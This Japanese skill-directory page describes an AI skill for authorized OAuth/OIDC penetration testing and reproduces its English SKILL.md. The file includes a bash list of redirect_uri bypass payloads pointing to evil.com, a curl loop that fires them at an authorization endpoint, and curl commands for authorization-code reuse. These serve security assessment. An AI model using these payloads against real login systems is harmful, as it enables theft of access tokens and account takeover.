本文へスキップ
Skillpedia
セキュリティ35k · #7918

exploiting-oauth-misconfiguration

できること

このツールは、OAuth 2.0やOpenID Connectを使ったログインシステムにあるセキュリティ上の欠陥を見つけ、悪用できるかを確認するためのものです。ユーザーを悪意のあるサイトへリダイレクトさせられるか、ログイン情報を盗めるかをチェックします。

使う場面

  • ✓「Googleでログイン」や「Facebookでログイン」を使っているWebサイトのセキュリティをテストするとき。
  • ✓さまざまなアプリケーション同士が安全に連携しているかを評価するとき。
  • ✓自分のアプリケーションのログインシステムが攻撃から守られているかを確認するとき。

スキルのリンク

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-oauth-misconfiguration/SKILL.md

コピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。

使い方

いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。

貼り付け用メッセージ

このスキルを使って手伝ってください:https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-oauth-misconfiguration/SKILL.md このリンクのSKILL.mdファイルを読んで、私の作業でその指示に従ってください。
こういうスキルを、AIが自分で見つけてくれたら?無料のSkillpedia MCPをインストール。1行で、作業の前に15,000+のスキルから探してくれます。1分でインストール →

AIへの頼み方の例

“私のサイトのGoogleログインが騙されて、アクセストークンを盗まれないか確認して。”

毎週5つの新しいスキル。1分で読めます。

仕組み

このツールは、ログイン時のリダイレクトを騙そうとする攻撃や、秘密にしておくべき機密情報を取得しようとする攻撃など、よくある攻撃を模擬します。

技術的な内容(元のSKILL.md)

作者による元のテキスト(英語)をGitHubからそのまま表示しています。

Exploiting OAuth Misconfiguration

When to Use

  • During authorized penetration tests when the application uses OAuth 2.0 or OpenID Connect for authentication
  • When assessing "Sign in with Google/Facebook/GitHub" social login implementations
  • For testing single sign-on (SSO) flows between applications
  • When evaluating API authorization using OAuth bearer tokens
  • During security assessments of applications acting as OAuth providers or consumers

Prerequisites

  • Authorization: Written penetration testing agreement covering OAuth/SSO flows
  • Burp Suite Professional: For intercepting OAuth redirect flows
  • Browser with DevTools: For monitoring redirect chains and token leakage
  • Multiple test accounts: On both the OAuth provider and the target application
  • curl: For manual OAuth flow testing
  • Attacker-controlled server: For receiving redirected tokens/codes

Workflow

Step 1: Map the OAuth Flow and Configuration

Identify the OAuth grant type, endpoints, and configuration.

# Discover OAuth/OIDC configuration endpoints
curl -s "https://target.example.com/.well-known/openid-configuration" | jq .
curl -s "https://target.example.com/.well-known/oauth-authorization-server" | jq .

# Key endpoints to identify:
# - Authorization endpoint: /oauth/authorize
# - Token endpoint: /oauth/token
# - UserInfo endpoint: /oauth/userinfo
# - JWKS endpoint: /oauth/certs

# Capture the authorization request in Burp
# Typical authorization code flow:
# GET /oauth/authorize?
#   response_type=code&
#   client_id=CLIENT_ID&
#   redirect_uri=https://app.example.com/callback&
#   scope=openid profile email&
#   state=RANDOM_STATE

# Identify the grant type:
# - Authorization Code: response_type=code
# - Implicit: response_type=token
# - Hybrid: response_type=code+token

# Check for PKCE parameters:
# - code_challenge=...
# - code_challenge_method=S256

Step 2: Test Redirect URI Manipulation

Attempt to redirect the authorization code or token to an attacker-controlled domain.

# Test open redirect via redirect_uri
# Original: redirect_uri=https://app.example.com/callback
# Attempt various bypasses:

BYPASSES=(
  "https://evil.com"
  "https://app.example.com.evil.com/callback"
  "https://app.example.com@evil.com/callback"
  "https://app.example.com/callback/../../../evil.com"
  "https://evil.com/?.app.example.com"
  "https://evil.com#.app.example.com"
  "https://app.example.com/callback?next=https://evil.com"
  "https://APP.EXAMPLE.COM/callback"
  "https://app.example.com/callback%0d%0aLocation:https://evil.com"
  "https://app.example.com/CALLBACK"
  "http://app.example.com/callback"
  "https://app.example.com/callback/../../other-path"
)

for uri in "${BYPASSES[@]}"; do
  echo -n "Testing: $uri -> "
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    "https://auth.target.example.com/oauth/authorize?response_type=code&client_id=APP_ID&redirect_uri=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$uri'))")&scope=openid&state=test123")
  echo "$status"
done

# If redirect_uri validation is path-based, try path traversal
# redirect_uri=https://app.example.com/callback/../attacker-controlled-path

# If subdomain matching, try subdomain takeover + redirect
# redirect_uri=https://abandoned-subdomain.example.com/

Step 3: Test for Authorization Code and Token Theft

Exploit leakage vectors for stealing OAuth tokens and codes.

# Test token leakage via Referer header
# If implicit flow returns token in URL fragment:
# https://app.example.com/callback#access_token=TOKEN
# And the callback page loads external resources,
# the Referer header may leak the URL with the token

# Test for authorization code leakage via Referer
# After receiving code at callback, check if:
# 1. Page loads external images/scripts
# 2. Page has links to external sites
# Burp: Check Proxy History for Referer headers containing "code="

# Test authorization code reuse
CODE="captured_auth_code"
# First use
curl -s -X POST "https://auth.target.example.com/oauth/token" \
  -d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET"

# Second use (should fail but may not)
curl -s -X POST "https://auth.target.example.com/oauth/token" \
  -d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET"


…
よくある質問

OAuth 2.0/OpenID Connectとは何ですか?

別のサービス(Googleなど)のアカウントを使って、新しくパスワードを作らずに別のWebサイトへログインできるようにする規格です。多くのサイトで見かける「Googleでログイン」がこれにあたります。

「リダイレクトURIの改ざん」とは何ですか?

ログイン後に元のサイトへ戻るはずのユーザーを、攻撃者が管理するサイトへ送るようにシステムを騙そうとする試みです。

このツールを使うには許可が必要ですか?

はい。どのシステムをテストするにも、事前に書面による許可を得ることが非常に重要です。許可なく使うことは違法です。

詳細

作者による元の説明

Identifying and exploiting OAuth 2.0 and OpenID Connect misconfigurations including redirect URI manipulation, token leakage, and authorization code theft during security assessments.

repo: mukul975/Anthropic-Cybersecurity-Skills

人気

GitHubのスター
35k
ランキング
#7918
ライセンス
Apache-2.0
更新日
2026/8/31

このスキルは役に立ちますか?

0

ログイン して投票しましょう。

コメント

  • …

このリポジトリの他のスキル

似ているスキル